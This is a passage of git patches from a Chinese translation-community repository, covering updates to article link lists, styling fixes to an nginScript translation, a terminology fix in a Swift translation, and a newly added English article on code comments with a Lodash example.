 * [Functor 与 Category （软件编写）（第六部分）](https://juejin.im/post/58f58d5da0bb9f006aac3e8d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
 * [函数式程序员的 JavaScript 简介 (软件编写)（第三部分）](https://juejin.im/post/58f58b06da2f60005d43388b?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
-* [Reduce（软件编写）（第五部分）](https://juejin.im/post/58f44082da2f60005d3a3710?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index f8343480403..7d87d37fb04 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [高阶函数（软件编写）（第四部分）](https://juejin.im/post/58f6d6ff570c3500564fbddc?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [为什么用 JavaScript 学习函数式编程？（软件编写）（第二部分）](https://juejin.im/post/58f5a2ecb123db2fa2b1b244?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [Functor 与 Category （软件编写）（第六部分）](https://juejin.im/post/58f58d5da0bb9f006aac3e8d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
 * [函数式程序员的 JavaScript 简介 (软件编写)（第三部分）](https://juejin.im/post/58f58b06da2f60005d43388b?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)

From 0d0e3f8f6628f5a48edbb3de0074e2a4e9ad9173 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Fri, 21 Apr 2017 01:00:05 +0800
Subject: [PATCH 217/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E6=8E=8C=E6=8F=A1?=
 =?UTF-8?q?=20Swift=20=E7=9A=84=E5=AD=97=E7=AC=A6=E4=B8=B2=E7=BB=86?=
 =?UTF-8?q?=E8=8A=82=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md | 4 ++--
 ios.md    | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index b483d09732b..59ef3ee5c2d 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [471](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [472](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -29,10 +29,10 @@
 
 ## iOS
 
+* [掌握 Swift 的字符串细节](https://juejin.im/post/58f822ff5c497d0058e0e427/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Tuccuay（洪朔）](https://github.com/Tuccuay)) 翻译)
 * [MVVM-C 与 Swift](https://juejin.im/post/58ef16b8da2f60005d180666/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([DeepMissea](https://github.com/DeepMissea)) 翻译)
 * [Swift 闭包和代理中的保留周期](https://juejin.im/post/58e4ac5d44d904006d2a9a19/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([oOatuo](http://atuo.xyz/)) 翻译)
 * [一名 iOS 开发者的 React Native 开发经历](https://juejin.im/post/58df4c3fa0bb9f0069e2f2bd/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)) 翻译)
-* [优化 Swift 的编译时间](https://juejin.im/post/58df1d75570c35005796966b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([DeepMissea](https://github.com/DeepMissea)) 翻译)
 * [所有 iOS 译文>>](https://github.com/xitu/gold-miner/blob/master/ios.md)
 
 ## 前端
diff --git a/ios.md b/ios.md
index 89d29887e73..442e1fd24ed 100644
--- a/ios.md
+++ b/ios.md
@@ -1,3 +1,4 @@
+* [掌握 Swift 的字符串细节](https://juejin.im/post/58f822ff5c497d0058e0e427/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Tuccuay（洪朔）](https://github.com/Tuccuay)) 翻译)
 * [MVVM-C 与 Swift](https://juejin.im/post/58ef16b8da2f60005d180666/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([DeepMissea](https://github.com/DeepMissea)) 翻译)
 * [Swift 闭包和代理中的保留周期](https://juejin.im/post/58e4ac5d44d904006d2a9a19/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([oOatuo](http://atuo.xyz/)) 翻译)
 * [一名 iOS 开发者的 React Native 开发经历](https://juejin.im/post/58df4c3fa0bb9f0069e2f2bd/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)) 翻译)

From dabaa7647c9ebbbfda51f9f14b8bbe5b0e6fadb2 Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Thu, 20 Apr 2017 20:39:19 -0700
Subject: [PATCH 218/638] revision v2

---
 TODO/introduction-nginscript.md | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/TODO/introduction-nginscript.md b/TODO/introduction-nginscript.md
index 667414b6365..7311e8e606c 100644
--- a/TODO/introduction-nginscript.md
+++ b/TODO/introduction-nginscript.md
@@ -1,22 +1,22 @@
 > * 原文地址：[Introduction to nginScript](https://www.nginx.com/blog/introduction-nginscript/)
 > * 原文作者：[Liam Crilly](https://www.nginx.com/blog/author/liam-crilly/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者： [鲁辰](https://github.com/1992chenlu)
-> * 校对者：
+> * 译者： [1992chenlu](https://github.com/1992chenlu)
+> * 校对者：[mnikn](https://github.com/mnikn)、[imink](https://github.com/imink)
 
 # nginScript 入门
 
 
 ![](https://cdn.wp.nginx.com/wp-content/uploads/2017/03/introduction-to-nginScript-1000x600.jpg)
 
-### *在 HTTP 请求中发挥出 JavaScript 的强大力量和便捷优势*
+### **在 HTTP 请求中发挥出 JavaScript 的强大力量和便捷优势**
 
-*编者的话 – 这是关于 nignScript 这个系列的博文的第一篇。本文中讨论了 NGINX 公司选择自己实现 JavaScript 的原因，并且提供了一个简单的使用案例。探索更多的使用案例，请阅读其他的博文：*
+**编者的话 – 这是关于 nignScript 这个系列的博文的第一篇。本文中讨论了 NGINX 公司选择自己实现 JavaScript 的原因，并且提供了一个简单的使用案例。探索更多的使用案例，请阅读其他的博文：**
 
-- [*nginScript 入门*](https://www.nginx.com/blog/introduction-nginscript/)
-- [*使用 nginScript 逐步迁移客户端到新的服务器*](https://www.nginx.com/blog/nginscript-progressively-transition-clients-to-new-server/)
-- 在“Galera 集群负载均衡过程中 SQL 方法的日志记录”中的[*nginScript 日志记录进阶*](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera)
-- [*使用 nginScript 实现基于数据遮蔽的用户隐私保护*](https://www.nginx.com/blog/data-masking-user-privacy-nginscript/)
+- [** nginScript 入门**](https://www.nginx.com/blog/introduction-nginscript/)
+- [**使用 nginScript 逐步迁移客户端到新的服务器**](https://www.nginx.com/blog/nginscript-progressively-transition-clients-to-new-server/)
+- 在“Galera 集群负载均衡过程中 SQL 方法的日志记录”中的[**nginScript 日志记录进阶**](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera)
+- [**使用 nginScript 实现基于数据遮蔽的用户隐私保护**](https://www.nginx.com/blog/data-masking-user-privacy-nginscript/)
 
 自从 nginScript [2015 年 9 月](https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)上线以来，作为一个实验性的模块，持续有新功能和语言的核心支持被加入。随着 NGINX Plus R12 的推出，我们很荣幸的宣布 nginScript 现在已经是一个在 NGINX 和 NGINX Plus 中可被广泛使用的稳定版模块了。
 
@@ -39,11 +39,11 @@ nignScript 可供 HTTP 和 TCP/UDP 两种协议使用，用例的种类广泛，
 
 ## nginScript 不是 Lua
 
-多年来，NIGINX 社区创建了一些程序化扩展。目前，Lua 是其中最流行的；使用时，它是一个[NGINX 模块](https://github.com/openresty/lua-nginx-module)，对于 NGINX Plus 来说，它是一个[经认证的第三方模块](https://www.nginx.com/products/technical-specs/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)。Lua 模块及其插件库提供了与 NGINX 内核的深度整合和一系列丰富的功能，包括一个 Redis 的驱动程序。
+多年来，NIGINX 社区创建了一些程序化扩展。目前，Lua 是其中最流行的；使用时，它是一个[ NGINX 模块](https://github.com/openresty/lua-nginx-module)，对于 NGINX Plus 来说，它是一个[经认证的第三方模块](https://www.nginx.com/products/technical-specs/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)。Lua 模块及其插件库提供了与 NGINX 内核的深度整合和一系列丰富的功能，包括一个 Redis 的驱动程序。
 
 Lua 是一个强大的脚本语言。但是，就采用率来看，它仍是有一定缺陷的。并且，它也不算一个前端工程师或者开发运维工程师必备技能。
 
-nginScript 没有企图取代 Lua，并且 nginScript 还有很长的路要走才能与 Lua 相提并论。nignScript 的目标是给广大 NIGINX 社区的人民群众，提供一个可以基于一种流行的编程语言的，程序化配置的解决方案。
+nginScript 没有企图取代 Lua，并且 nginScript 还有很长的路要走才能与 Lua 相提并论。nignScript 的目标是给广大 NIGINX 社区的人民群众，提供一个可以基于一种流行的编程语言的、程序化配置的解决方案。
 
 ## nginScript 不是 Node.js
 
@@ -85,7 +85,7 @@ NGINX 和 NGINX Plus 的请求处理分为不同的阶段。配置指令通常
 
 ## nginScript 入门 – 一个真实的例子
 
-nginScript 可以作为一个模块，可以被编译到一个开源的 NGINX 二进制文件里，或者动态地载入 NGINX 或 NGINX Plus。本文的结尾处，有在 NGINX 和 NGINX Plus 中[开始使用 nginScript](#nginscript-enable)的说明。
+nginScript 可以作为一个模块，可以被编译到一个开源的 NGINX 二进制文件里，或者动态地载入 NGINX 或 NGINX Plus。本文的结尾处，有在 NGINX 和 NGINX Plus 中[开始使用 nginScript ](#nginscript-enable)的说明。
 
 在这个例子中，我们使用 NGINX 或 NGINX Plus 作为简单的反向代理，并使用 nginScript 以一种特定的格式构建访问日志记录。
 

From 225cb87dbb328446f29854ec2b039673f80261ab Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Thu, 20 Apr 2017 20:41:35 -0700
Subject: [PATCH 219/638] tweak styling

---
 TODO/introduction-nginscript.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/introduction-nginscript.md b/TODO/introduction-nginscript.md
index 7311e8e606c..9feb31b9bef 100644
--- a/TODO/introduction-nginscript.md
+++ b/TODO/introduction-nginscript.md
@@ -15,7 +15,7 @@
 
 - [** nginScript 入门**](https://www.nginx.com/blog/introduction-nginscript/)
 - [**使用 nginScript 逐步迁移客户端到新的服务器**](https://www.nginx.com/blog/nginscript-progressively-transition-clients-to-new-server/)
-- 在“Galera 集群负载均衡过程中 SQL 方法的日志记录”中的[**nginScript 日志记录进阶**](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera)
+- 在“Galera 集群负载均衡过程中 SQL 方法的日志记录”中的[** nginScript 日志记录进阶**](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera)
 - [**使用 nginScript 实现基于数据遮蔽的用户隐私保护**](https://www.nginx.com/blog/data-masking-user-privacy-nginscript/)
 
 自从 nginScript [2015 年 9 月](https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)上线以来，作为一个实验性的模块，持续有新功能和语言的核心支持被加入。随着 NGINX Plus R12 的推出，我们很荣幸的宣布 nginScript 现在已经是一个在 NGINX 和 NGINX Plus 中可被广泛使用的稳定版模块了。

From f1e02275b5131b23452d2eeb7318fd7403b6a233 Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Thu, 20 Apr 2017 20:44:35 -0700
Subject: [PATCH 220/638] tweak styling

---
 TODO/introduction-nginscript.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/introduction-nginscript.md b/TODO/introduction-nginscript.md
index 9feb31b9bef..942eef2baba 100644
--- a/TODO/introduction-nginscript.md
+++ b/TODO/introduction-nginscript.md
@@ -13,9 +13,9 @@
 
 **编者的话 – 这是关于 nignScript 这个系列的博文的第一篇。本文中讨论了 NGINX 公司选择自己实现 JavaScript 的原因，并且提供了一个简单的使用案例。探索更多的使用案例，请阅读其他的博文：**
 
-- [** nginScript 入门**](https://www.nginx.com/blog/introduction-nginscript/)
+-  [**nginScript 入门**](https://www.nginx.com/blog/introduction-nginscript/)
 - [**使用 nginScript 逐步迁移客户端到新的服务器**](https://www.nginx.com/blog/nginscript-progressively-transition-clients-to-new-server/)
-- 在“Galera 集群负载均衡过程中 SQL 方法的日志记录”中的[** nginScript 日志记录进阶**](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera)
+- 在“Galera 集群负载均衡过程中 SQL 方法的日志记录”中的 [**nginScript 日志记录进阶**](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera)
 - [**使用 nginScript 实现基于数据遮蔽的用户隐私保护**](https://www.nginx.com/blog/data-masking-user-privacy-nginscript/)
 
 自从 nginScript [2015 年 9 月](https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)上线以来，作为一个实验性的模块，持续有新功能和语言的核心支持被加入。随着 NGINX Plus R12 的推出，我们很荣幸的宣布 nginScript 现在已经是一个在 NGINX 和 NGINX Plus 中可被广泛使用的稳定版模块了。

From 8b9df871630ed1dd01695a2f1fdfc6e4f2deedf2 Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Thu, 20 Apr 2017 20:49:58 -0700
Subject: [PATCH 221/638] remove a werid line

---
 TODO/introduction-nginscript.md | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/TODO/introduction-nginscript.md b/TODO/introduction-nginscript.md
index 942eef2baba..0382e9255cc 100644
--- a/TODO/introduction-nginscript.md
+++ b/TODO/introduction-nginscript.md
@@ -132,7 +132,6 @@ nginScript 的许多功能都来自它访问 NGINX 内部的能力。这个例
 
 - [给 NGINX Plus 装载 nginScript](#nginscript-nginx-plus-load)
 - [给开源 NGINX 装载 nginScript](#nginscript-oss-load)
-[#nginscript-oss-load](#nginscript-oss-load)- [#nginscript-oss-load](#nginscript-oss-load)
 - [给开源 NGINX 编译动态 nginScript 模块](#nginscript-oss-compile)
 
 ### 给 NGINX Plus 装载 nginScript
@@ -197,9 +196,9 @@ load_module modules/ngx_http_js_module.so;
 
 如果你更喜欢直接从源代码编译出一个 NGINX 模块：
 
-1. 跟随 [这些操作说明](https://www.nginx.com/blog/compiling-dynamic-modules-nginx-plus/)，使用[开源 repository](http://hg.nginx.org/njs/)构建 nginScript 模块。
+1. 跟随 [这些操作说明](https://www.nginx.com/blog/compiling-dynamic-modules-nginx-plus/)，使用[开源 repository ](http://hg.nginx.org/njs/)构建 nginScript 模块。
 2. 将这个模块的二进制文件(**ngx_http_js_module.so**)拷贝到 NGINX 根目录（通常是 **/etc/nginx/modules**）下的 **modules** 子目录下。
-3. 完成 [给开源 NGINX 装载 nginScript](#nginscript-oss-load&quot;)的第二步和第三步。
+3. 完成 [给开源 NGINX 装载 nginScript ](#nginscript-oss-load&quot;)的第二步和第三步。
 
 ---
 

From c07eb6ab20b795c3fd418667418f6fa6d1808add Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Thu, 20 Apr 2017 20:53:27 -0700
Subject: [PATCH 222/638] tweak styling

---
 TODO/introduction-nginscript.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/introduction-nginscript.md b/TODO/introduction-nginscript.md
index 0382e9255cc..21881537096 100644
--- a/TODO/introduction-nginscript.md
+++ b/TODO/introduction-nginscript.md
@@ -136,7 +136,7 @@ nginScript 的许多功能都来自它访问 NGINX 内部的能力。这个例
 
 ### 给 NGINX Plus 装载 nginScript
  
-nginScript 是 NGINX Plus 订阅者可以免费使用的[动态模块](https://www.nginx.com/products/dynamic-modules/)，（关于开源 NGINX，请参考下面[给开源 NGINX 装载 nginScript](#nginscript-oss-load)的部分。）
+nginScript 是 NGINX Plus 订阅者可以免费使用的[动态模块](https://www.nginx.com/products/dynamic-modules/)（关于开源 NGINX，请参考下面[给开源 NGINX 装载 nginScript](#nginscript-oss-load)的部分。）
 
 1. 从 NGINX Plus repository 获取并安装 nginScript 模块
 

From 5c06877eef2abbe52dedcfa56071d20d56da154a Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Thu, 20 Apr 2017 20:54:47 -0700
Subject: [PATCH 223/638] tweak styling

---
 TODO/introduction-nginscript.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/introduction-nginscript.md b/TODO/introduction-nginscript.md
index 21881537096..1cb7d82c6ad 100644
--- a/TODO/introduction-nginscript.md
+++ b/TODO/introduction-nginscript.md
@@ -83,7 +83,7 @@ NGINX 和 NGINX Plus 的请求处理分为不同的阶段。配置指令通常
 |内容 – 向客户端发送响应|✅ [js_content](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_content)|❌|
 |日志/变量 – 应需评估|✅ [js_set](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_set)|✅ [js_set](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_set)|
 
-## nginScript 入门 – 一个真实的例子
+## nginScript 入门 —— 一个真实的例子
 
 nginScript 可以作为一个模块，可以被编译到一个开源的 NGINX 二进制文件里，或者动态地载入 NGINX 或 NGINX Plus。本文的结尾处，有在 NGINX 和 NGINX Plus 中[开始使用 nginScript ](#nginscript-enable)的说明。
 

From 78347b83401c906abf3169704c869b95e5866bda Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Thu, 20 Apr 2017 21:00:29 -0700
Subject: [PATCH 224/638] tweak styling

---
 TODO/introduction-nginscript.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/introduction-nginscript.md b/TODO/introduction-nginscript.md
index 1cb7d82c6ad..3463ab799f6 100644
--- a/TODO/introduction-nginscript.md
+++ b/TODO/introduction-nginscript.md
@@ -53,7 +53,7 @@ Node.js 使用 Google V8 JavaScript 引擎，而 nginScript 则完全是 ECMAScr
 
 ## 作为服务端语言的 JavaScript
 
-如上所述，nginScript 是 JavaScript 语言的标准实现。而目前，所有其他的 JavaScript 运行引擎，都是以运行在网络浏览器为目的而设计的。客户端代码运行与服务端的代码运行有许多本质上的不同 - 从系统资源的可利用性，到可能存在的并发运行的数量。
+如上所述，nginScript 是 JavaScript 语言的标准实现。而目前，所有其他的 JavaScript 运行引擎，都是以运行在网络浏览器为目的而设计的。客户端代码运行与服务端的代码运行有许多本质上的不同 —— 从系统资源的可利用性，到可能存在的并发运行的数量。
 
 我们决定实现自己的 JavaScript runtime，一方面来满足服务端运行的需要，另一方面这种方式可以与 NGINX 请求处理的架构进行优雅适配。以下是我们的设计原则：
 

From da018b4463b26e5924e33d14db6df827caf75310 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Fri, 21 Apr 2017 19:57:31 +0800
Subject: [PATCH 225/638] Update swift-lazy-initialization-with-closures.md

---
 TODO/swift-lazy-initialization-with-closures.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/swift-lazy-initialization-with-closures.md b/TODO/swift-lazy-initialization-with-closures.md
index 5c500c96a72..0e841c4a0e6 100644
--- a/TODO/swift-lazy-initialization-with-closures.md
+++ b/TODO/swift-lazy-initialization-with-closures.md
@@ -39,7 +39,7 @@ let makeBox: UIView = {
 为了让你能轻松愉快地和我一起完成这篇教程，我强烈推荐你先了解下面这几个概念。
 
 1. [*闭包*][6]
-2. [*捕获列表与保留周期 \[weak self]*][7]
+2. [*捕获列表与循环引用 \[weak self]*][7]
 3. *面向对象程序设计*
 
 ### 创建 UI 组件
@@ -308,7 +308,7 @@ class CompressionManager {
 
 ### Lazy 能被捕获吗？
 
-如果你读过我的前一篇文章[《Swift 闭包和代理中的保留周期》][9]，你就会明白这个问题。让我们试一试吧。创建一个名叫 `BobGreet` 的类，它有两个属性：一个是类型为 `String` 的 `name`，一个是类型为 `String` 但是使用闭包创建的 `greeting`。
+如果你读过我的前一篇文章[《Swift 闭包和代理中的循环引用》][9]，你就会明白这个问题。让我们试一试吧。创建一个名叫 `BobGreet` 的类，它有两个属性：一个是类型为 `String` 的 `name`，一个是类型为 `String` 但是使用闭包创建的 `greeting`。
 
 ```
 class BobGreet {

From 7af3aea4909928d4a90dfbfb43182329c2ca37cc Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Sat, 22 Apr 2017 01:47:42 +0800
Subject: [PATCH 226/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E7=B3=BB=E7=BB=9F?=
 =?UTF-8?q?=E8=AE=BE=E8=AE=A1=E5=85=A5=E9=97=A8=20=E7=9A=84=E7=A7=AF?=
 =?UTF-8?q?=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 4 ++--
 backend.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 59ef3ee5c2d..2e9cb3b6858 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [472](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [473](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -55,10 +55,10 @@
 
 ## 后端
 
+* [系统设计入门](https://github.com/xitu/system-design-primer/blob/master/README-zh-Hans.md) ([XatMassacrE](https://github.com/XatMassacrE) [L9m](https://github.com/L9m) [Airmacho](https://github.com/Airmacho) [xiaoyusilen](https://github.com/xiaoyusilen) [jifaxu](https://github.com/jifaxu)翻译)
 * [如何使用 HTTP Headers 来保护你的 Web 应用](https://juejin.im/post/58f5d3718d6d810057c18f75/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom)翻译)
 * [解析 Go 中的函数调用](https://juejin.im/post/58f579b58d6d81006491c7c0/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
 * [Go 函数调用 Redux](https://juejin.im/post/58f57be144d904006c09019c/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
-* [关于在 Node.js 中引用模块，知道这些就够了](https://juejin.im/post/58eb3812da2f60005f0bae9b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([zhouzihanntu](https://github.com/zhouzihanntu) 翻译)
 * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)
 
 ## 教程
diff --git a/backend.md b/backend.md
index 9371f971369..cacd2d8da1a 100644
--- a/backend.md
+++ b/backend.md
@@ -1,3 +1,4 @@
+* [系统设计入门](https://github.com/xitu/system-design-primer/blob/master/README-zh-Hans.md) ([XatMassacrE](https://github.com/XatMassacrE) [L9m](https://github.com/L9m) [Airmacho](https://github.com/Airmacho) [xiaoyusilen](https://github.com/xiaoyusilen) [jifaxu](https://github.com/jifaxu)翻译)
 * [如何使用 HTTP Headers 来保护你的 Web 应用](https://juejin.im/post/58f5d3718d6d810057c18f75/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom)翻译)
 * [解析 Go 中的函数调用](https://juejin.im/post/58f579b58d6d81006491c7c0/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
 * [Go 函数调用 Redux](https://juejin.im/post/58f57be144d904006c09019c/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)

From b9eee4f726af131efb7892e6ffc72eb3f24638de Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Sat, 22 Apr 2017 23:20:23 +0800
Subject: [PATCH 227/638] Create code-comments-the-good-the-bad-and-the-ugly.md

---
 ...-comments-the-good-the-bad-and-the-ugly.md | 197 ++++++++++++++++++
 1 file changed, 197 insertions(+)
 create mode 100644 TODO/code-comments-the-good-the-bad-and-the-ugly.md

diff --git a/TODO/code-comments-the-good-the-bad-and-the-ugly.md b/TODO/code-comments-the-good-the-bad-and-the-ugly.md
new file mode 100644
index 00000000000..475f2670f2d
--- /dev/null
+++ b/TODO/code-comments-the-good-the-bad-and-the-ugly.md
@@ -0,0 +1,197 @@
+> * 原文地址：[Putting comments in code: the good, the bad, and the ugly.](https://medium.freecodecamp.com/code-comments-the-good-the-bad-and-the-ugly-be9cc65fbf83)
+> * 原文作者：[Bill Sourour](https://medium.freecodecamp.com/@BillSourour?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Putting comments in code: the good, the bad, and the ugly. #
+
+![](https://cdn-images-1.medium.com/max/1000/1*ddM-OL7PF36NZ6QYCa95bQ.jpeg) 
+
+Clint Eastwood in
+
+Stop me if you’ve heard this one before…
+
+> “Good code is self-documenting.”
+
+In 20+ years of writing code for a living, this is the one phrase I’ve heard the most.
+
+It’s *cliché.*
+
+And like many clichés, it has a kernel of truth to it. But this truth has been so abused that most people who utter the phrase have no idea what it really means.
+
+Is it true? **Yes**.
+
+Does it mean you should never comment your code? **No**.
+
+In this article we’ll look at the good, the bad, and the ugly when it comes to commenting your code.
+
+For starters, there are really two different types of code comments. I call them **documentation comments** and **clarification comments**.
+
+### Documentation Comments ###
+
+Documentation comments are intended for anyone who is likely to consume your source code, but not likely to read through it. If you are building a library or framework that other developers will use, you need some form of API documentation.
+
+The further removed from the source code your API documentation is, the more likely it is to become outdated or inaccurate over time. A good strategy to mitigate this is to embed the documentation directly into the code and then use a tool to extract it.
+
+Here’s an example of a documentation comment from a popular JavaScript library called [Lodash](https://lodash.com).
+
+```
+/**
+     * Creates an object composed of keys generated from the results of running
+     * each element of `collection` thru `iteratee`. The corresponding value of
+     * each key is the number of times the key was returned by `iteratee`. The
+     * iteratee is invoked with one argument: (value).
+     *
+     * @static
+     * @memberOf _
+     * @since 0.5.0
+     * @category Collection
+     * @param {Array|Object} collection The collection to iterate over.
+     * @param {Function} [iteratee=_.identity] The iteratee to transform keys.
+     * @returns {Object} Returns the composed aggregate object.
+     * @example
+     *
+     * _.countBy([6.1, 4.2, 6.3], Math.floor);
+     * // => { '4': 1, '6': 2 }
+     *
+     * // The `_.property` iteratee shorthand.
+     * _.countBy(['one', 'two', 'three'], 'length');
+     * // => { '3': 2, '5': 1 }
+     */
+    var countBy = createAggregator(function(result, value, key) {
+      if (hasOwnProperty.call(result, key)) {
+        ++result[key];
+      } else {
+        baseAssignValue(result, key, 1);
+      }
+    });
+```
+
+If you [compare these comments to their online documentation](https://lodash.com/docs/#countBy), you’ll see it’s an exact match.
+
